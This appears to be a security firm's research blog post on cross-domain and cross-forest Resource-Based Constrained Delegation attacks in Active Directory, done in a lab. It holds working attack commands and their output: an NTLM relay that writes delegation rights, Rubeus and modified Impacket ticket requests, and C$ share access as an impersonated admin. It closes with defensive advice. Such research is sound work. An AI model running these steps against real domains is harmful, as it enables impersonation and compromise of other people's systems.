Exploring cross-domain & cross-forest RBCD

Written by Simon Msika - 23/03/2026 - in - Download

The Resource-based Constrained Delegation (RBCD) attack is well-known from pentesters and attackers: by editing the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a machine account, an attacker can impersonate users on said machine. Even though this attack mechanism has been thorougly documented on a single domain, and can be performed with Impacket or Rubeus, only a few resources mention its implementation on cross-domain and cross-forest environments. In this article, we present the cross-domain and cross-forest RBCD workflow, along with an Impacket script implementation to carry out these attacks.

Looking to improve your skills? Discover our trainings sessions! Learn more.

Introduction

Recently, we were confronted to a scenario in which we could edit the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a server of an Active Directory domain. This called for the Resource-Based Constrained Delegation attack, which has been known from pentesters and has been thoroughly documented for years.

However, we did not have any account on the target domain: we were only in possession of an account on one of the child domains. While researching how we could carry out this specific attack on this cross-domain environment, we found out that the current Impacket tooling did not allow us to perform the cross-domain RBCD.

Since this specific RBCD attack path had not been much described before, this encouraged us to dig into the RBCD workflow in cross-domain environment.

Performing cross-domain RBCD

The lab setup

To study the cross-domain RBCD, we created two domains: a main domain and a child domain, namely asgard.local and dev.asgard.local. In the asgard.local domain, we added a workstation (adequately named workstation), which will be the target for our RBCD attack.

From the dev.asgard.local, we created a computer object rbcd_test$:

$ python3 addcomputer.py dev.asgard.local/thor_dev:'[...]' -dc-ip 192.168.90.131 -computer-name rbcd_test -computer-pass '[...]'

Afterwards, we allowed the rbcd_test$@dev.asgard.local account to perform the RBCD workflow, by adding it to the msDS-AllowedToActOnBehalfOfOtherIdentity field of workstation$.asgard.local object.

To do so, we performed an NTLM relay attack and used the Impacket ntlmrelayx.py script, as we would in a real pentest. Since the rbcd_test$@dev.asgard.local is not a member of the asgard.local domain, the SID of the rbcd_test$ object must be used in our command line, as rbcd_test$@dev.asgard.local will not be present in the LDAP of the targeted domain.

To do so, we used the following command:

$ sudo ntlmrelayx.py -smb2support -t ldap://192.168.90.217 --no-dump --no-da --no-validate-privs --delegate-access --escalate-user S-1-5-21-3104832133-133926542-3798009529-1106 --sid
[...]
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /21i/pipe/srvsvc
[*] HTTPD(80): Connection from 192.168.90.190 controlled, attacking target ldap://192.168.90.217
[*] HTTPD(80): Authenticating against ldap://192.168.90.217 as ASGARD/WORKSTATION$ SUCCEED
[*] Assuming relayed user has privileges to escalate an user via ACL attack
[-] User not found in LDAP: S-1-5-21-3104832133-133926542-3798009529-1106
[-] Unable to escalate without a valid user.
[*] Delegation rights modified succesfully!
[*] S-1-5-21-3104832133-133926542-3798009529-1106 can now impersonate users on WORKSTATION$ via S4U2Proxy

Our delegation is now set up: the next goal is to exploit this RBCD and impersonate the thor_adm@asgard.local user on this workstation, in order to compromise it.

The cross-domain RBCD workflow

When searching for documentation related to the Kerberos protocol for the steps involved in the RBCD workflow, we found the following documentation for the cross-domain S4U2Self from Microsoft.

However, we did not find anything related to S4U2Proxy for cross-domain environments, which is also necessary to perform the RBCD attack.

Fortunately for us, the cross-domain S42Self and S4U2Proxy are implemented in Rubeus, in the CrossDomainS4U function of the S4U.cs file! Therefore, below are the different steps involved in the exploitation of the cross-domain RBCD:

RBCD cross-domain diagram
A diagram of the Kerberos interactions in cross-domain RBCD.

 

  1. We get a TGT for rbcd_test$@dev.asgard.local from the dev domain controller.
  2. We ask for a referral TGT from the dev domain controller to authenticate to the asgard.local domain controller.
  3. With this ticket, we get a "referral" ST via S4U2Self for the thor_adm@asgard.local user on the asgard.local domain controller.
  4. We use this ticket to get an ST for the thor_adm@asgard.local user for the rbcd_test$@dev.asgard.local service on the dev.asgard.local domain controller via S4U2Self.
  5. We ask for the referral ticket to the dev.asgard.local domain controller via S4U2Proxy by providing the initial TGT and the previously obtained ticket.
  6. We use this obtained ticket and the referral TGT to ask for the service ticket to the asgard.local domain via S4U2Proxy.

As mentioned, Rubeus performs all these steps when run with the following arguments:

Rubeus.exe s4u /user:"rbcd_test$" /aes256:2b[...]b8fe /domain: dev.asgard.local /impersonateuser:thor_adm /msdsspn:"cifs/workstation.asgard.local" /targetdc:dc01.asgard.local /targetdomain:asgard.local /ptt /nowrap

[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: C2354F843A6C52BC484522831DFA13531EB0F72DE9D9133EBEF447A5CF60F0E3
[*] Building AS-REQ (w/ preauth) for: 'dev.asgard.local\rbcd_test$'
[*] Using domain controller: 192.168.90.131:88
[+] TGT request successful!
[...]

[*] Action: S4U

[*] Performing cross domain constrained delegation
[*] Retrieving referral TGT from DEV.ASGARD.LOCAL for foreign domain, asgard.local, KRBTGT service
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/asgard.local'
[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[+] TGS request successful!
[...]

  ServiceName              :  krbtgt/ASGARD.LOCAL
  ServiceRealm             :  DEV.ASGARD.LOCAL
  UserName                 :  rbcd_test$ (NT_PRINCIPAL)
  UserRealm                :  DEV.ASGARD.LOCAL
  StartTime                :  04/11/2025 17:32:38
  EndTime                  :  05/11/2025 03:32:38
  RenewTill                :  11/11/2025 17:32:38
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  5Qsm4lJIOWsjZL8fyCgAJA==

[*] Retrieving the S4U2Self referral from asgard.local
[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Requesting the cross realm 'S4U2Self' for thor_adm@asgard.local from dc01.asgard.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[...]

[*] Requesting the S4U2Self ticket from DEV.ASGARD.LOCAL
[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[*] Requesting the cross realm 'S4U2Self' for thor_adm@asgard.local from 
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[...]

[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on 
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[...]

[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on dc01.asgard.local
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[...]

[+] Ticket successfully imported!

Once the ticket is imported, one can now use it to access the C$ share of workstation.asgard.local:

dir \\workstation.asgard.local\c$


    Répertoire : \\workstation.asgard.local\c$


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        14/04/2025     09:51                inetpub
d-----        07/12/2019     10:14                PerfLogs
d-r---        05/05/2025     17:13                Program Files
d-r---        16/01/2025     18:20                Program Files (x86)
d-r---        30/10/2025     16:17                Users
d-----        28/05/2025     14:35                Windows
-a----        22/02/2024     01:33         112136 appverifUI.dll
-a----        28/05/2025     14:51         154093 log.txt
-a----        22/02/2024     01:34          66328 vfcompat.dll

From a Linux machine: implementation with Impacket

After performing the attack with Rubeus, we wondered whether this attack was also possible with Impacket. Unfortunately, the getST.py script of the Impacket suite could not be used as is to perform the S4U2Self and S4U2Proxy steps.

First, when analyzing a PCAP of a successful cross-domain RBCD process, we noticed that when requesting the service tickets during steps 3 to 6, the realms of the request body were different from the realm mentioned in the ticket used to perform the TGS-REQ: 

Wireshark screenshot
Wireshark capture: the realms in the provided ticket and the ST request are different.

However, the current version of Impacket getST.py does not allow specifying the realm in the Kerberos requests, as the realm is set from the ticket included in the request:

def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

[...]
        reqBody['realm'] = str(decodedTGT['crealm'])

Furthermore, the current implementation only allows to perform the S4U2Self step (step 3/4) or the S4U2Self directly followed by S4U2Proxy: the S4U2Proxy step could not be performed independently.

We therefore implemented the cross-domain RBCD attack on Impacket's getST.py by following the same process as Rubeus. The script is now available here.

To use this script, several additional arguments need to be provided:

  • The IP of the first DC to target, the domain controller of the already compromised account domain (-dc-ip).
  • The targeted domain (-targetdomain).
  • The IP of the targeted DC, the domain controller of the domain of the targeted account (-targetdc).

In our case, the whole exploitation resulted in the following command: 

$ python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k -dc-ip 192.168.90.131 -targetdc 192.168.90.217 -impersonate thor_adm -spn cifs/workstation.asgard.local -targetdomain asgard.local

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] dev.asgard.local
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Saving ticket in thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache

After running our script, we obtain a ticket that we can use to impersonate thor_adm on our workstation, and access the C$ share:

$ python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k -dc-ip 192.168.90.131 -targetdc 192.168.90.217 -impersonate thor_adm -spn cifs/workstation.asgard.local -targetdomain asgard.local

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] dev.asgard.local
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Saving ticket in thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache

$ KRB5CCNAME=thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache ./smbclient.py "asgard.local/thor_adm@workstation.asgard.local" -k -no-pass -dc-ip 192.168.90.217                              

[+] Using Kerberos Cache: thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache
[+] Returning cached credential for CIFS/WORKSTATION.ASGARD.LOCAL@ASGARD.LOCAL
[+] Using TGS from cache
Type help for list of commands
# use c$
# ls
drw-rw-rw-          0  Thu Oct 30 16:18:00 2025 $Recycle.Bin
drw-rw-rw-          0  Tue Jul  8 09:53:41 2025 $WinREAgent
-rw-rw-rw-     112136  Thu Jan 16 18:20:04 2025 appverifUI.dll
drw-rw-rw-          0  Thu Jan 16 17:26:14 2025 Documents and Settings
[...]

And voilà!

Exploring cross-forest RBCD

Now that we understood how the cross-domain RBCD mechanism happened under the hood, we confidently tried to perform the same attack but with two different forest: asgard.local and valhalla.local.

After configuring the trust between the two domains, we setup the RBCD for desktop$.valhalla.local on workstation.asgard.local: desktop$.valhalla.local is now able to impersonate users on workstation.asgard.local.

We ran Rubeus expecting everything to work perfectly:

Rubeus.exe s4u /user:"desktop$" /domain:valhalla.local /aes256:D3E7[...] /impersonateuser:thor /msdsspn:cifs/workstation.asgard.local /targetdc:dc01.asgard.local /dc:DC.valhalla.local /targetdomain:asgard.local /nowrap /ptt


[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: D3E7[...]
[*] Building AS-REQ (w/ preauth) for: 'valhalla.local\desktop$'
[*] Using domain controller: 192.168.90.161:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF[...]


[*] Action: S4U

[*] Performing cross domain constrained delegation
[*] Retrieving referral TGT from VALHALLA.LOCAL for foreign domain, asgard.local, KRBTGT service
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/asgard.local'
[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[+] TGS request successful!
[*] base64(ticket.kirbi):

      do[...]

  ServiceName              :  krbtgt/ASGARD.LOCAL
  ServiceRealm             :  VALHALLA.LOCAL
  UserName                 :  desktop$ (NT_PRINCIPAL)
  UserRealm                :  VALHALLA.LOCAL
  StartTime                :  06/11/2025 16:27:06
  EndTime                  :  07/11/2025 02:27:06
  RenewTill                :  13/11/2025 16:27:06
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  UMT4xgEW71Wuq9eR3fqE5A==

[*] Retrieving the S4U2Self referral from asgard.local
[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Requesting the cross realm 'S4U2Self' for thor@asgard.local from dc01.asgard.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] base64(ticket.kirbi):

      doIF[...]

[*] Requesting the S4U2Self ticket from VALHALLA.LOCAL
[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[*] Requesting the cross realm 'S4U2Self' for thor@asgard.local from DC.valhalla.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] base64(ticket.kirbi):

      doIF[...]

[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on DC.valhalla.local
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/workstation.asgard.local':

      doIG[...]

[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on dc01.asgard.local
[*] Sending S4U2proxy request

[X] KRB-ERROR (12) : KDC_ERR_POLICY

... and it failed with the KDC_ERR_POLICY error.

As shown in the previous command output, only the last step (S4U2Proxy after referral) is now failing. Nonetheless, the content of the referral ST obtained via S4U2proxy (step 5 on the previous diagram) is similar to the one we obtained in the cross-domain RBCD scenario: 

  • The tickets both have the forwardable, renewable, pre_authent, ok_as_delegate, and enc_pa_rep flags.
  • The extra SID is the same in both cases: S-1-18-2 (Service asserted identity).
  • The PAC_WAS_GIVEN_IMPLICITLY flag is set in both cases.
  • etc..

The KDC_ERR_POLICY error suggests some type of filtering is in place, but to our knowledge, the SID filtering mechanism does not seem to be implied here.

Indeed, even when performing the impersonation with unprivileged users, we get the same KDC_ERR_POLICY error, even though no SID/group SID mentioned in the Microsoft documentation is concerned in our process.

We also tried to enable the TGT delegation of the trust, as a delegation mechanism was implied in our process. To no avail: the result was strictly the same.

When researching why our tests with cross-forest delegation failed, we stumbled upon the following table, summing-up the different working configurations for RBCD: https://freeipa.readthedocs.io/en/latest/designs/rbcd.html#use-cases.

This table references the Microsoft documentation, which states: 

    2. In deployments with multiple forests where there is an user forest, a resource forest, and an Windows Server Web Application Proxy forest, the following deployments are supported:
        a. Users and Application Proxy servers are in the same forest, but resources are in a different forest.
        b. Resources and Application Proxy servers are in the same forest, but users are in a different forest. Traditional KCD.

    3. In deployments with multiple forests where there is an user forest, a resource forest, and an Windows Server Web Application Proxy forest, the following deployments will not work:
        a. Users, resources, and Application Proxy servers are all in different forests.
        b. Users and resources are in the same forest and application proxy servers are in a different forest.

Not working configuration schema
A screenshot from Microsoft documentation: these configurations won't work.

So, to transpose these statements into our case: cross-forest RBCD only works when the impersonated user belongs to the same forest as the principal allowed to perform the delegation. Therefore, in our current setup, we are only able to impersonate users from the valhalla.local forest.

Even though the outcome of this attack path in cross-forest environment is less powerful than the usual RBCD or the cross-domain RBCD attack (as one cannot impersonate users on the targeted forest), it can still be interesting if administrative privileges are granted to users of another forest. If an attacker has a valid account in this forest, then this could be exploitable.

So, in order to simulate this attack path, we granted local administrative rights on workstation.asgard.local to v_thor@valhalla.local. Our goal will now be to impersonate v_thor@valhalla.local to access workstation.asgard.local.

However, even with the RBCD restrictions in mind, the current tooling (Rubeus or Impacket) did not allow us to fully carry out the cross-forest RBCD. So, in order to study the Kerberos interactions, we then simulated the cross-forest delegation traffic by using this following code, running it as desktop$ (the service allowed to impersonate users on workstation.asgard.local), as documented on exploit.ph & by Will Schroeder:

# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('v_thor@valhalla.LOCAL')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action
ls \\workstation.asgard.local\C$

We performed the delegation process, and studied the Kerberos traffic it generated. We identified the following steps: 

  1. We get a TGT for the desktop$@valhalla.local from the VALHALLA domain controller.
  2. With this ticket, we get an ST via S4U2Self for the v_thor@valhalla.local user on the valhalla.local domain controller.
  3. Then, we perform an ST request via S4U2Proxy for the target service for v_thor@valhalla.local user, still on the valhalla.local domain controller. The valhalla.local domain controller replies with a referral TGT for the asgard.local domain.
  4. We perform another ST request via S4U2Proxy on the valhalla.local domain controller, but without providing the ticket obtained via S4U2Self as an additional ticket, and with the branch-aware flag enabled on the PA-PAC-OPTIONS. The valhalla.local domain replies with another referral TGT for the asgard.local domain.
  5. With the referral TGT from step 3, we get a ST from the asgard.local domain controller for the targeted service. We obtain an ST to the targeted service for the desktop$@valhalla.local user. This ticket is not used during the process.
  6. With the referral tickets obtained from steps 3 and 4, we ask for a ticket via S4U2Proxy for the targeted service on the asgard.local domain controller. We obtain an ST for the impersonated user (v_thor@valhalla.local) on the desired service. 
Cross-Forest RBCD diagram
A diagram of the Kerberos interactions in cross-forest RBCD.

As one can notice, steps 1 to 3 are exactly the same as a regular RBCD on a single domain. However, the resulting ticket is a referral TGT, which is one of the two necessary tickets to obtain the final ST for the targeted service (in our case cifs/workstation.asgard.local).

When looking carefully at the Kerberos traffic generated by the cross-forest RBCD, we noticed that the ticket obtained at step 5 is never used in the cross-forest process. Then, one could skip this request and still obtain a valid ST for the targeted service. 

Several details in the cross-forest RBCD implementation differ from the usual RBCD process, which makes the current implementations of Rubeus and Impacket unable to perform the whole process. In particular:

  • In step 4, the ST request needs to have the branch-aware flag set, which is not used in either Rubeus or Impacket implementations.
  • In step 6, the ticket is encrypted with RC4, independently of the provided cipher options.

Finally, we implemented all these steps in getST.py (available here), and were indeed able to obtain a valid ticket for cifs/workstation.asgard.local. An additional argument needs to be passed to the script (-forest) in order to check if we are in a cross-forest RBCD situation:

$ python3 ./getST.py -spn 'cifs/workstation.asgard.local' -impersonate 'v_thor' -dc-ip VALHALLA.local valhalla.local/'desktop$' -targetdc ASGARD.local -targetdomain asgard.local -aesKey 4[...]f -forest  

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Requesting TGS
[*] Saving ticket in v_thor@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache


$ KRB5CCNAME=v_thor@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache smbclient.py -k -no-pass -target-ip 192.168.90.190 valhalla.local/v_thor@workstation.asgard.local                                                        
# use c$
# ls
drw-rw-rw-          0  Thu Oct 30 16:18:00 2025 $Recycle.Bin
drw-rw-rw-          0  Tue Jul  8 09:53:41 2025 $WinREAgent
-rw-rw-rw-     112136  Thu Feb 12 18:32:33 2026 appverifUI.dll
drw-rw-rw-          0  Thu Jan 16 17:26:14 2025 Documents and Settings
Satisfied seal meme

Conclusion

Our research allowed us to dig more into the intricacies of the Kerberos protocol when dealing with cross-domain and cross-forest environments. We were able to perform our RBCD attack across forest, and implement the workflow with Impacket for it to be used on Linux machines.

Protecting the Active Directory domains against the described attacks is fairly straightforward. Indeed, RBCD attack paths can emerge when NTLM relaying scenarios are possible. Anti-relaying mechanisms should be implemented at the level of the Active Directory services: LDAP signing and channel binding should be enforced, and protocols facilitating relay attacks (LLMNR, IPv6, etc.) should be disabled if there is no functional need. Furthermore, ACLs misconfigurations could also lead to RBCD attack paths. Checking for ACLs with BloodHound should also be considered to check for these scenarios.